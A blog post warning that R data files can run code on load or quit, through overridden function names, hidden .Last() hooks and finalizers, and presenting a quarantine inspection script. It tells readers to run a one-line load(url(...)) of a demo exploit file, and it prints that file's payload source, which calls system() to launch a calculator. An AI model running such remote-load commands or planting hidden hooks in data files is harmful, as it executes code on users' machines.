I had not planned to blog this (this is an incredibly time-crunched week for me) but CERT/CC and CISA made a big deal out of a non-vulnerability in R, and it’s making the round on socmed, so here we are.
A security vendor decided to try to get some hype before 2024 RSAC and made a big deal out of what was/is known expected behavior in R data files. R Core took some measures to address the issue they outlined, but for the love of Henry, PLEASE do not think R data files are safe to handle if you weren’t the one creating them, or you do not fully know the provenance of them.
Konrad Rudolph and Iakov Davydov did some ace cyber sleuthing and figured out other ways R data file deserialization can be abused. Please take a moment and drop a note on Mastodon to them saying “thank you”. This is excellent work. We need more folks like them in this ecosystem.
Like many programming languages, R has many footguns, and R data files are one of them. R objects are wonderful beasts, and being able to serialize and deserialize those beasts is a super helpful bit of functionality. Also, R has something called active bindings. Amongst other things, they let you access an object to get a value, but — in doing so — code can get executed without you knowing it. Whether an R data file has an object with active bindings or not, it can be abused by attackers.
When you load()
an R data file directly into your R session and into the global environment, the object(s) in it will, well, load there. So, if it has an object named print
that’s going to be in your global environment and get called when print()
gets called. Lather/rinse/repeat for any other object name. It should be pretty obvious how this could be abused.
A tad more insidious is what happens when you quit R. By default, on quit()
, unless you specify otherwise, that function invocation will also call .Last()
if it exists in the environment. This functionality exists in the event things need to be cleaned up. One “nice” aspect of .
-prefixed R objects is that they’re hidden by default from the environment. So, you may not even notice if an R data file you’ve loaded has that defined. (You likely do not check what’s loaded anyway.)
It’s also possible to create custom R objects that have their own “finalizers” (ref reg.finalizer
), which will also get called by default when the objects are being destroyed on quit.
There are also likely other ways to trigger unwanted behavior.
If you want to see how this works, start R from RStudio, the command line, or R GUI. Then, execute the following R code:
load(url("https://github.com/hrbrmstr/rdaradar/raw/main/exploit.rda"))
Then, quit R/RStudio/R GUI (this will be less dramatic on linux, but the demo should still be effective).
If you must take in untrusted R data files, keep reading.
I threw together an R script along with a safer way to use it (a Docker container) to help R folks inspect the contents of R data files before actually using them. It also looks for some basic shady stuff and alerts you if it finds them. It’s a WIP, and issues + thoughtful PRs are welcome.
If one were to run Rscript check.R
from that repo with that exploit.rda
file as a parameter, one would see this:
-----------------------------------------------
Loading R data file in quarantined environment…
-----------------------------------------------
Loading objects:
.Last
quit
-----------------------------------------
Enumerating objects in loaded R data file
-----------------------------------------
.Last : function (...)
- attr(*, "srcref")= 'srcref' int [1:8] 1 13 6 1 13 1 1 6
..- attr(*, "srcfile")=Classes 'srcfilecopy', 'srcfile' <environment: 0x12cb25f48>
quit : function (...)
- attr(*, "srcref")= 'srcref' int [1:8] 1 13 6 1 13 1 1 6
..- attr(*, "srcfile")=Classes 'srcfilecopy', 'srcfile' <environment: 0x12cb25f48>
------------------------------------
Functions found: enumerating sources
------------------------------------
Checking `.Last`…
!! `.Last` may execute arbitrary code on your system under certain conditions !!
`.Last` source:
{
cmd = if (.Platform$OS.type == "windows")
"calc.exe"
else if (grepl("^darwin", version$os))
"open -a Calculator.app"
else "echo pwned\\!"
system(cmd)
}
Checking `quit`…
!! `quit` may execute arbitrary code on your system under certain conditions !!
`quit` source:
{
cmd = if (.Platform$OS.type == "windows")
"calc.exe"
else if (grepl("^darwin", version$os))
"open -a Calculator.app"
else "echo pwned\\!"
system(cmd)
}
There’s info in the repo on how to use that with Docker.
FIN
The big takeaway is (again) to not trust R data files you did not create or know the full provenance of. If you have an internet-facing Shiny app or Plumber API that takes R data files as input, get it off the internet and figure out some other way to take in the input.
While I fully disagree with the assignment of the CVE, I’m at least glad this situation brought attention to this very dangerous aspect of handling this type of file format in R.